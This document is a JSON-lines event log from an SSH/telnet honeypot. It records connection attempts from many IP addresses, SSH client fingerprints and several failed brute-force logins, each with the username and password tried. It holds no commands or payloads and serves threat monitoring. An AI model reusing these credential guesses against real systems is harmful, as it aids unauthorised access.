{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:38:22.402364Z","src_ip":"103.82.132.16","session":"b431a46c03b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"27111982","message":"login attempt [root/27111982] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:38:23.145428Z","src_ip":"103.82.132.16","session":"b431a46c03b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:38:24.395291Z","src_ip":"103.82.132.16","session":"b431a46c03b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":45832,"dst_ip":"159.203.135.109","dst_port":23,"session":"66e3340ca0ce","protocol":"telnet","message":"New connection: 107.6.151.170:45832 (159.203.135.109:23) [session: 66e3340ca0ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:38:26.733583Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":50038,"dst_ip":"159.203.135.109","dst_port":23,"session":"d88bf6c9f77a","protocol":"telnet","message":"New connection: 107.6.151.170:50038 (159.203.135.109:23) [session: d88bf6c9f77a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:38:26.770909Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":58896,"dst_ip":"159.203.135.109","dst_port":23,"session":"a74ecce63647","protocol":"telnet","message":"New connection: 107.6.151.170:58896 (159.203.135.109:23) [session: a74ecce63647]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:38:29.964412Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.198.19.241","src_port":40020,"dst_ip":"159.203.135.109","dst_port":22,"session":"51100a355259","protocol":"ssh","message":"New connection: 85.198.19.241:40020 (159.203.135.109:22) [session: 51100a355259]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:38:32.542746Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:38:32.547244Z","src_ip":"85.198.19.241","session":"51100a355259","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":38178,"dst_ip":"159.203.135.109","dst_port":23,"session":"a52ec0c25d71","protocol":"telnet","message":"New connection: 128.199.8.54:38178 (159.203.135.109:23) [session: a52ec0c25d71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:38:32.919042Z"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:38:32.992673Z","src_ip":"85.198.19.241","session":"51100a355259","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password1!","message":"login attempt [root/Password1!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:38:38.010896Z","src_ip":"85.198.19.241","session":"51100a355259","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.6","message":"Connection lost after 6.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:38:39.184668Z","src_ip":"85.198.19.241","session":"51100a355259","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.179537773132324,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:38:57.950325Z","src_ip":"107.6.151.170","session":"d88bf6c9f77a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.392585277557373,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:38:58.126029Z","src_ip":"107.6.151.170","session":"66e3340ca0ce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":29.9621102809906,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:38:59.926391Z","src_ip":"107.6.151.170","session":"a74ecce63647","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.13","src_port":54552,"dst_ip":"10.17.0.5","dst_port":22,"session":"96fca50b9391","protocol":"ssh","message":"New connection: 91.92.40.13:54552 (10.17.0.5:22) [session: 96fca50b9391]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:39:03.211060Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:39:03.514693Z","src_ip":"91.92.40.13","session":"96fca50b9391","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:39:03.518765Z","src_ip":"91.92.40.13","session":"96fca50b9391","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1234","message":"login attempt [admin/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:39:04.802701Z","src_ip":"91.92.40.13","session":"96fca50b9391","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:39:06.043376Z","src_ip":"91.92.40.13","session":"96fca50b9391","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.230.168.192","src_port":47457,"dst_ip":"10.17.0.5","dst_port":23,"session":"0ac514e0a4c0","protocol":"telnet","message":"New connection: 91.230.168.192:47457 (10.17.0.5:23) [session: 0ac514e0a4c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:39:10.242064Z"}
{"eventid":"cowrie.session.closed","duration":1.052856206893921,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:39:11.294765Z","src_ip":"91.230.168.192","session":"0ac514e0a4c0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.230.168.198","src_port":55515,"dst_ip":"10.17.0.5","dst_port":23,"session":"5b081a4ebfdc","protocol":"telnet","message":"New connection: 91.230.168.198:55515 (10.17.0.5:23) [session: 5b081a4ebfdc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:39:11.366407Z"}
{"eventid":"cowrie.session.closed","duration":40.81909418106079,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:39:13.738035Z","src_ip":"128.199.8.54","session":"a52ec0c25d71","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":40580,"dst_ip":"159.203.135.109","dst_port":22,"session":"c9f108c08f63","protocol":"ssh","message":"New connection: 109.237.96.109:40580 (159.203.135.109:22) [session: c9f108c08f63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:39:21.084527Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:39:21.089264Z","src_ip":"109.237.96.109","session":"c9f108c08f63","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:39:21.178155Z","src_ip":"109.237.96.109","session":"c9f108c08f63","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qweasdzxc11","message":"login attempt [root/qweasdzxc11] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:39:21.449805Z","src_ip":"109.237.96.109","session":"c9f108c08f63","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":10.425895929336548,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:39:21.792438Z","src_ip":"91.230.168.198","session":"5b081a4ebfdc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:39:22.541901Z","src_ip":"109.237.96.109","session":"c9f108c08f63","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":40680,"dst_ip":"159.203.135.109","dst_port":23,"session":"c31fc6b7df5c","protocol":"telnet","message":"New connection: 172.81.62.90:40680 (159.203.135.109:23) [session: c31fc6b7df5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:39:22.882049Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.155.93.75","src_port":59139,"dst_ip":"159.203.135.109","dst_port":22,"session":"1a3e65eeb338","protocol":"ssh","message":"New connection: 216.155.93.75:59139 (159.203.135.109:22) [session: 1a3e65eeb338]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:39:25.117686Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:39:25.122147Z","src_ip":"216.155.93.75","session":"1a3e65eeb338","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:39:25.274850Z","src_ip":"216.155.93.75","session":"1a3e65eeb338","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ospite","password":"ospite","message":"login attempt [ospite/ospite] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:39:25.917922Z","src_ip":"216.155.93.75","session":"1a3e65eeb338","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":32830,"dst_ip":"159.203.135.109","dst_port":23,"session":"1c28a9e000bf","protocol":"telnet","message":"New connection: 172.81.62.90:32830 (159.203.135.109:23) [session: 1c28a9e000bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:39:26.598818Z"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:39:27.073018Z","src_ip":"216.155.93.75","session":"1a3e65eeb338","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.230.168.198","src_port":39499,"dst_ip":"10.17.0.5","dst_port":23,"session":"f98990eaf56a","protocol":"telnet","message":"New connection: 91.230.168.198:39499 (10.17.0.5:23) [session: f98990eaf56a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:39:35.160510Z"}
{"eventid":"cowrie.session.closed","duration":0.004495382308959961,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:39:35.164847Z","src_ip":"91.230.168.198","session":"f98990eaf56a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.230.168.240","src_port":39189,"dst_ip":"10.17.0.5","dst_port":23,"session":"76f718e1b8fa","protocol":"telnet","message":"New connection: 91.230.168.240:39189 (10.17.0.5:23) [session: 76f718e1b8fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:39:35.301937Z"}
{"eventid":"cowrie.session.closed","duration":3.002417802810669,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:39:38.304262Z","src_ip":"91.230.168.240","session":"76f718e1b8fa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.18386197090149,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:39:56.065776Z","src_ip":"172.81.62.90","session":"c31fc6b7df5c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.77681088447571,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:40:04.375509Z","src_ip":"172.81.62.90","session":"1c28a9e000bf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":43096,"dst_ip":"10.17.0.5","dst_port":23,"session":"d56652a980e9","protocol":"telnet","message":"New connection: 94.23.66.112:43096 (10.17.0.5:23) [session: d56652a980e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:40:07.954527Z"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":46408,"dst_ip":"10.17.0.5","dst_port":22,"session":"9a5f6e19f912","protocol":"ssh","message":"New connection: 27.71.230.31:46408 (10.17.0.5:22) [session: 9a5f6e19f912]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:40:09.670420Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:40:09.678209Z","src_ip":"27.71.230.31","session":"9a5f6e19f912","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:40:09.954913Z","src_ip":"27.71.230.31","session":"9a5f6e19f912","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":44404,"dst_ip":"10.17.0.5","dst_port":23,"session":"c996e2150a28","protocol":"telnet","message":"New connection: 94.23.66.112:44404 (10.17.0.5:23) [session: c996e2150a28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:40:12.128438Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin@123321","message":"login attempt [root/admin@123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:40:13.865391Z","src_ip":"27.71.230.31","session":"9a5f6e19f912","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.6","message":"Connection lost after 5.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:40:15.311295Z","src_ip":"27.71.230.31","session":"9a5f6e19f912","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.93.50.90","src_port":49254,"dst_ip":"10.17.0.5","dst_port":22,"session":"9053b3778684","protocol":"ssh","message":"New connection: 182.93.50.90:49254 (10.17.0.5:22) [session: 9053b3778684]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:40:25.454102Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:40:25.462839Z","src_ip":"182.93.50.90","session":"9053b3778684","protocol":"ssh"}
